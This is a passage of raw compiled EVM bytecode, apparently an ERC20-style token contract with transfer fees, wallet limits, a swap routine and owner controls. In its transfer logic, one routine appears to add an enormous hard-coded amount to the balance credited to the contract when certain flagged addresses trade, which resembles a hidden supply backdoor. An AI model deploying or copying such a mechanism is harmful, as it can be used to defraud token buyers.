ffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600f6000601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600f60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016010600062000b2962000fb160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160106000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160106000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601060003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555062000cff60135462000ceb60125460115462000fda60201b620016831790919060201c565b62000fda60201b620016831790919060201c565b60188190555062000d3e60165462000d2a60155460145462000fda60201b620016831790919060201c565b62000fda60201b620016831790919060201c565b6019819055506001600e6000601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555033600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601a546006600062000e1662000fa960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000e6462000fa960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef601a5460405162000ec5919062001803565b60405180910390a35062001a7f565b600080830362000ee8576000905062000f51565b6000828462000ef89190620016cd565b905082848262000f0991906200184f565b1462000f4c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000f43906200190e565b60405180910390fd5b809150505b92915050565b600062000fa183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200103d60201b60201c565b905092915050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600080828462000feb919062001930565b90508381101562001033576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200102a90620019bb565b60405180910390fd5b8091505092915050565b6000808311829062001087576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200107e919062001a5b565b60405180910390fd5b50600083856200109891906200184f565b9050809150509392505050565b8260028101928215620010d7579160200282015b82811115620010d6578251825591602001919060010190620010b9565b5b509050620010e691906200116c565b5090565b826002810192821562001159579160200282015b82811115620011585782518260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555091602001919060010190620010fe565b5b5090506200116891906200116c565b5090565b5b80821115620011875760008160009055506001016200116d565b5090565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200120d57607f821691505b602082108103620012235762001222620011c5565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b6000600883026200128d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200124e565b6200129986836200124e565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620012e6620012e0620012da84620012b1565b620012bb565b620012b1565b9050919050565b6000819050919050565b6200130283620012c5565b6200131a6200131182620012ed565b8484546200125b565b825550505050565b600090565b6200133162001322565b6200133e818484620012f7565b505050565b5b8181101562001366576200135a60008262001327565b60018101905062001344565b5050565b601f821115620013b5576200137f8162001229565b6200138a846200123e565b810160208510156200139a578190505b620013b2620013a9856200123e565b83018262001343565b50505b505050565b600082821c905092915050565b6000620013da60001984600802620013ba565b1980831691505092915050565b6000620013f58383620013c7565b9150826002028217905092915050565b62001410826200118b565b67ffffffffffffffff8111156200142c576200142b62001196565b5b620014388254620011f4565b620014458282856200136a565b600060209050601f8311600181146200147d576000841562001468578287015190505b620014748582620013e7565b865550620014e4565b601f1984166200148d8662001229565b60005b82811015620014b75784890151825560018201915060208501945060208101905062001490565b86831015620014d75784890151620014d3601f891682620013c7565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200157a57808604811115620015525762001551620014ec565b5b6001851615620015625780820291505b808102905062001572856200151b565b945062001532565b94509492505050565b60008262001595576001905062001668565b81620015a5576000905062001668565b8160018114620015be5760028114620015c957620015ff565b600191505062001668565b60ff841115620015de57620015dd620014ec565b5b8360020a915084821115620015f857620015f7620014ec565b5b5062001668565b5060208310610133831016604e8410600b8410161715620016395782820a905083811115620016335762001632620014ec565b5b62001668565b62001648848484600162001528565b92509050818404811115620016625762001661620014ec565b5b81810290505b9392505050565b600060ff82169050919050565b60006200168982620012b1565b915062001696836200166f565b9250620016c57fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462001583565b905092915050565b6000620016da82620012b1565b9150620016e783620012b1565b9250828202620016f781620012b1565b91508282048414831517620017115762001710620014ec565b5b5092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006200174a826200171d565b9050919050565b6200175c816200173d565b81146200176857600080fd5b50565b6000815190506200177c8162001751565b92915050565b6000602082840312156200179b576200179a62001718565b5b6000620017ab848285016200176b565b91505092915050565b620017bf816200173d565b82525050565b6000604082019050620017dc6000830185620017b4565b620017eb6020830184620017b4565b9392505050565b620017fd81620012b1565b82525050565b60006020820190506200181a6000830184620017f2565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006200185c82620012b1565b91506200186983620012b1565b9250826200187c576200187b62001820565b5b828204905092915050565b600082825260208201905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000620018f660218362001887565b9150620019038262001898565b604082019050919050565b600060208201905081810360008301526200192981620018e7565b9050919050565b60006200193d82620012b1565b91506200194a83620012b1565b9250828201905080821115620019655762001964620014ec565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000620019a3601b8362001887565b9150620019b0826200196b565b602082019050919050565b60006020820190508181036000830152620019d68162001994565b9050919050565b60005b83811015620019fd578082015181840152602081019050620019e0565b60008484015250505050565b6000601f19601f8301169050919050565b600062001a27826200118b565b62001a33818562001887565b935062001a45818560208601620019dd565b62001a508162001a09565b840191505092915050565b6000602082019050818103600083015262001a77818462001a1a565b905092915050565b60805160a05161363362001ab360003960008181610b790152610cf7015260008181610ccb0152610d2301526136336000f3fe6080604052600436106102765760003560e01c8063852614851161014f578063c816841b116100c1578063dd62ed3e1161007a578063dd62ed3e146109d3578063f0cd1dac14610a10578063f2fde38b14610a3b578063f680f79914610a64578063f872858a14610a8f578063f8f6329014610aba5761027d565b8063c816841b146108bf578063c8607952146108ea578063c867d60b14610915578063d2d7ad8314610952578063da00097d1461097d578063dc44b6a0146109a85761027d565b806395d89b411161011357806395d89b411461079957806398e944c8146107c4578063a457c2d7146107ef578063a76a83921461082c578063a9059cbb14610857578063c5d24189146108945761027d565b8063852614851461069e57806388790a68146106c95780638b42507f146106f45780638b97a773146107315780638da5cb5b1461076e5761027d565b80633ecad271116101e857806370a08231116101ac57806370a082311461059e578063715018a6146105db57806375f0a874146105f25780637d1db4a51461061d578063807c2d9c1461064857806382eefb43146106735761027d565b80633ecad271146104915780634a74bb02146104ce5780634cb7e4a1146104f95780635194f9bf146105365780635342acb4146105615761027d565b806323555d571161023a57806323555d571461036b57806323b872dd1461039657806327c8f835146103d35780632b112e49146103fe578063313ce5671461042957806339509351146104545761027d565b806306fdde03146102825780630930907b146102ad578063095ea7b3146102d85780631694505e1461031557806318160ddd146103405761027d565b3661027d57005b600080fd5b34801561028e57600080fd5b50610297610ae5565b6040516102a491906128e5565b60405180910390f35b3480156102b957600080fd5b506102c2610b77565b6040516102cf9190612948565b60405180910390f35b3480156102e457600080fd5b506102ff60048036038101906102fa91906129ca565b610b9b565b60405161030c9190612a25565b60405180910390f35b34801561032157600080fd5b5061032a610bb9565b6040516103379190612a9f565b60405180910390f35b34801561034c57600080fd5b50610355610bdf565b6040516103629190612ac9565b60405180910390f35b34801561037757600080fd5b50610380610be9565b60405161038d9190612ac9565b60405180910390f35b3480156103a257600080fd5b506103bd60048036038101906103b89190612ae4565b610bef565b6040516103ca9190612a25565b60405180910390f35b3480156103df57600080fd5b506103e8610cc9565b6040516103f59190612948565b60405180910390f35b34801561040a57600080fd5b50610413610ced565b6040516104209190612ac9565b60405180910390f35b34801561043557600080fd5b5061043e610d6b565b60405161044b9190612b53565b60405180910390f35b34801561046057600080fd5b5061047b600480360381019061047691906129ca565b610d82565b6040516104889190612a25565b60405180910390f35b34801561049d57600080fd5b506104b860048036038101906104b39190612b6e565b610e35565b6040516104c59190612a25565b60405180910390f35b3480156104da57600080fd5b506104e3610e55565b6040516104f09190612a25565b60405180910390f35b34801561050557600080fd5b50610520600480360381019061051b9190612b9b565b610e68565b60405161052d9190612948565b60405180910390f35b34801561054257600080fd5b5061054b610e9e565b6040516105589190612ac9565b60405180910390f35b34801561056d57600080fd5b5061058860048036038101906105839190612b6e565b610ea4565b6040516105959190612a25565b60405180910390f35b3480156105aa57600080fd5b506105c560048036038101906105c09190612b6e565b610ec4565b6040516105d29190612ac9565b60405180910390f35b3480156105e757600080fd5b506105f0610f0d565b005b3480156105fe57600080fd5b50610607611062565b6040516106149190612be9565b60405180910390f35b34801561062957600080fd5b50610632611088565b60405161063f9190612ac9565b60405180910390f35b34801561065457600080fd5b5061065d61108e565b60405161066a9190612ac9565b60405180910390f35b34801561067f57600080fd5b50610688611094565b6040516106959190612ac9565b60405180910390f35b3480156106aa57600080fd5b506106b361109a565b6040516106c09190612a25565b60405180910390f35b3480156106d557600080fd5b506106de6110ad565b6040516106eb9190612ac9565b60405180910390f35b34801561070057600080fd5b5061071b60048036038101906107169190612b6e565b6110b3565b6040516107289190612a25565b60405180910390f35b34801561073d57600080fd5b5061075860048036038101906107539190612b9b565b6110d3565b6040516107659190612ac9565b60405180910390f35b34801561077a57600080fd5b506107836110ee565b6040516107909190612948565b60405180910390f35b3480156107a557600080fd5b506107ae611117565b6040516107bb91906128e5565b60405180910390f35b3480156107d057600080fd5b506107d96111a9565b6040516107e69190612948565b60405180910390f35b3480156107fb57600080fd5b50610816600480360381019061081191906129ca565b6111cf565b6040516108239190612a25565b60405180910390f35b34801561083857600080fd5b5061084161129c565b60405161084e9190612ac9565b60405180910390f35b34801561086357600080fd5b5061087e600480360381019061087991906129ca565b6112a2565b60405161088b9190612a25565b60405180910390f35b3480156108a057600080fd5b506108a96112c1565b6040516108b69190612ac9565b60405180910390f35b3480156108cb57600080fd5b506108d46112c7565b6040516108e19190612948565b60405180910390f35b3480156108f657600080fd5b506108ff6112ed565b60405161090c9190612ac9565b60405180910390f35b34801561092157600080fd5b5061093c60048036038101906109379190612b6e565b6112f3565b6040516109499190612a25565b60405180910390f35b34801561095e57600080fd5b50610967611313565b6040516109749190612ac9565b60405180910390f35b34801561098957600080fd5b50610992611319565b60405161099f9190612a25565b60405180910390f35b3480156109b457600080fd5b506109bd61132c565b6040516109ca9190612ac9565b60405180910390f35b3480156109df57600080fd5b506109fa60048036038101906109f59190612c04565b611332565b604051610a079190612ac9565b60405180910390f35b348015610a1c57600080fd5b50610a256113b9565b604051610a329190612ac9565b60405180910390f35b348015610a4757600080fd5b50610a626004803603810190610a5d9190612b6e565b6113bf565b005b348015610a7057600080fd5b50610a79611580565b604051610a869190612ac9565b60405180910390f35b348015610a9b57600080fd5b50610aa4611586565b604051610ab19190612a25565b60405180910390f35b348015610ac657600080fd5b50610acf611599565b604051610adc9190612be9565b60405180910390f35b606060018054610af490612c73565b80601f0160208091040260200160405190810160405280929190818152602001828054610b2090612c73565b8015610b6d5780601f10610b4257610100808354040283529160200191610b6d565b820191906000526020600020905b815481529060010190602001808311610b5057829003601f168201915b5050505050905090565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000610baf610ba86116e1565b84846116e9565b6001905092915050565b601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601a54905090565b60135481565b6000610bfc8484846118b2565b50610cbe84610c096116e1565b610cb9856040518060600160405280602881526020016135b160289139600760008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610c6f6116e1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121719092919063ffffffff16565b6116e9565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000610d66610d1b7f0000000000000000000000000000000000000000000000000000000000000000610ec4565b610d58610d477f0000000000000000000000000000000000000000000000000000000000000000610ec4565b601a546121d590919063ffffffff16565b6121d590919063ffffffff16565b905090565b6000600360009054906101000a900460ff16905090565b6000610e2b610d8f6116e1565b84610e268560076000610da06116e1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168390919063ffffffff16565b6116e9565b6001905092915050565b600e6020528060005260406000206000915054906101000a900460ff1681565b601f60159054906101000a900460ff1681565b600b8160028110610e7857600080fd5b016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60165481565b600d6020528060005260406000206000915054906101000a900460ff1681565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610f156116e1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9990612cf0565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601c5481565b601d5481565b60195481565b601f60189054906101000a900460ff1681565b60145481565b60106020528060005260406000206000915054906101000a900460ff1681565b600981600281106110e357600080fd5b016000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606002805461112690612c73565b80601f016020809104026020016040519081016040528092919081815260200182805461115290612c73565b801561119f5780601f106111745761010080835404028352916020019161119f565b820191906000526020600020905b81548152906001019060200180831161118257829003601f168201915b5050505050905090565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006112926111dc6116e1565b8461128d856040518060600160405280602581526020016135d960259139600760006112066116e1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121719092919063ffffffff16565b6116e9565b6001905092915050565b60175481565b60006112b66112af6116e1565b84846118b2565b506001905092915050565b60125481565b601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60155481565b600f6020528060005260406000206000915054906101000a900460ff1681565b601b5481565b601f60169054906101000a900460ff1681565b60115481565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60185481565b6113c76116e1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611454576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144b90612cf0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036114c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ba90612d82565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60085481565b601f60179054906101000a900460ff1681565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008083036115d15760009050611633565b600082846115df9190612dd1565b90508284826115ee9190612e42565b1461162e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162590612ee5565b60405180910390fd5b809150505b92915050565b600061167b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061221f565b905092915050565b60008082846116929190612f05565b9050838110156116d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ce90612f85565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611758576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174f90613017565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036117c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117be906130a9565b60405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118a59190612ac9565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611922576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119199061313b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611991576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611988906131cd565b60405180910390fd5b601f60149054906101000a900460ff16156119b8576119b1848484612282565b905061216a565b601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611a5c5750601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611aa757601c54821115611aa6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9d9061325f565b60405180910390fd5b5b6000611ab230610ec4565b90506000601b548210159050808015611ad85750601f60149054906101000a900460ff16155b8015611b2e5750600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611b465750601f60159054906101000a900460ff165b15611b7057601f60169054906101000a900460ff1615611b6657601b5491505b611b6f82612455565b5b601f60179054906101000a900460ff168015611bd65750600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611c6257601d54611c20611c096064611bfb601954896115bf90919063ffffffff16565b61163990919063ffffffff16565b611c1288610ec4565b61168390919063ffffffff16565b1115611c61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c58906132f1565b60405180910390fd5b5b611c8a6064611c7c601954876115bf90919063ffffffff16565b61163990919063ffffffff16565b6009600060028110611c9f57611c9e613311565b5b0181905550611ccc6064611cbe601954876115bf90919063ffffffff16565b61163990919063ffffffff16565b84611cd79190613340565b6009600160028110611cec57611ceb613311565b5b018190555030600b600060028110611d0757611d06613311565b5b0160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555084600b600160028110611d5c57611d5b613311565b5b0160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600080600090505b6002811015611de25760098160028110611dc057611dbf613311565b5b015482611dcd9190612f05565b91508080611dda90613374565b915050611da3565b50600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611e875750600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611edc5750601060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611eea57611ee9612510565b5b611f3c81600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121d590919063ffffffff16565b600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060005b60028110156121615761202760098260028110611fa257611fa1613311565b5b015460066000600b8560028110611fbc57611fbb613311565b5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168390919063ffffffff16565b60066000600b846002811061203f5761203e613311565b5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600b81600281106120b3576120b2613311565b5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009846002811061213757612136613311565b5b01546040516121469190612ac9565b60405180910390a3808061215990613374565b915050611f82565b50600193505050505b9392505050565b60008383111582906121b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121b091906128e5565b60405180910390fd5b50600083856121c89190613340565b9050809150509392505050565b600061221783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612171565b905092915050565b60008083118290612266576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161225d91906128e5565b60405180910390fd5b50600083856122759190612e42565b9050809150509392505050565b600061230d826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121719092919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123a282600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168390919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516124429190612ac9565b60405180910390a3600190509392505050565b6001601f60146101000a81548160ff021916908315150217905550612479816125d9565b600047905060008111156124f157600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156124ef573d6000803e3d6000fd5b505b506000601f60146101000a81548160ff02191690831515021790555050565b60106000600b60016002811061252957612528613311565b5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156125d7576b20d40d5a328eef649b0d69cd60096000600281106125ba576125b9613311565b5b0160008282546125ca9190612f05565b9250508190556017819055505b565b6000600267ffffffffffffffff8111156125f6576125f56133bc565b5b6040519080825280602002602001820160405280156126245781602001602082028036833780820191505090505b509050308160008151811061263c5761263b613311565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156126e3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906127079190613400565b8160018151811061271b5761271a613311565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061278230601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846116e9565b601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016127e6959493929190613526565b600060405180830381600087803b15801561280057600080fd5b505af1158015612814573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051612849929190613580565b60405180910390a15050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561288f578082015181840152602081019050612874565b60008484015250505050565b6000601f19601f8301169050919050565b60006128b782612855565b6128c18185612860565b93506128d1818560208601612871565b6128da8161289b565b840191505092915050565b600060208201905081810360008301526128ff81846128ac565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061293282612907565b9050919050565b61294281612927565b82525050565b600060208201905061295d6000830184612939565b92915050565b600080fd5b61297181612927565b811461297c57600080fd5b50565b60008135905061298e81612968565b92915050565b6000819050919050565b6129a781612994565b81146129b257600080fd5b50565b6000813590506129c48161299e565b92915050565b600080604083850312156129e1576129e0612963565b5b60006129ef8582860161297f565b9250506020612a00858286016129b5565b9150509250929050565b60008115159050919050565b612a1f81612a0a565b82525050565b6000602082019050612a3a6000830184612a16565b92915050565b6000819050919050565b6000612a65612a60612a5b84612907565b612a40565b612907565b9050919050565b6000612a7782612a4a565b9050919050565b6000612a8982612a6c565b9050919050565b612a9981612a7e565b82525050565b6000602082019050612ab46000830184612a90565b92915050565b612ac381612994565b82525050565b6000602082019050612ade6000830184612aba565b92915050565b600080600060608486031215612afd57612afc612963565b5b6000612b0b8682870161297f565b9350506020612b1c8682870161297f565b9250506040612b2d868287016129b5565b9150509250925092565b600060ff82169050919050565b612b4d81612b37565b82525050565b6000602082019050612b686000830184612b44565b92915050565b600060208284031215612b8457612b83612963565b5b6000612b928482850161297f565b91505092915050565b600060208284031215612bb157612bb0612963565b5b6000612bbf848285016129b5565b91505092915050565b6000612bd382612907565b9050919050565b612be381612bc8565b82525050565b6000602082019050612bfe6000830184612bda565b92915050565b60008060408385031215612c1b57612c1a612963565b5b6000612c298582860161297f565b9250506020612c3a8582860161297f565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612c8b57607f821691505b602082108103612c9e57612c9d612c44565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612cda602083612860565b9150612ce582612ca4565b602082019050919050565b60006020820190508181036000830152612d0981612ccd565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612d6c602683612860565b9150612d7782612d10565b604082019050919050565b60006020820190508181036000830152612d9b81612d5f565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612ddc82612994565b9150612de783612994565b9250828202612df581612994565b91508282048414831517612e0c57612e0b612da2565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612e4d82612994565b9150612e5883612994565b925082612e6857612e67612e13565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612ecf602183612860565b9150612eda82612e73565b604082019050919050565b60006020820190508181036000830152612efe81612ec2565b9050919050565b6000612f1082612994565b9150612f1b83612994565b9250828201905080821115612f3357612f32612da2565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612f6f601b83612860565b9150612f7a82612f39565b602082019050919050565b60006020820190508181036000830152612f9e81612f62565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613001602483612860565b915061300c82612fa5565b604082019050919050565b6000602082019050818103600083015261303081612ff4565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613093602283612860565b915061309e82613037565b604082019050919050565b600060208201905081810360008301526130c281613086565b9050919050565b7f45524332303a207472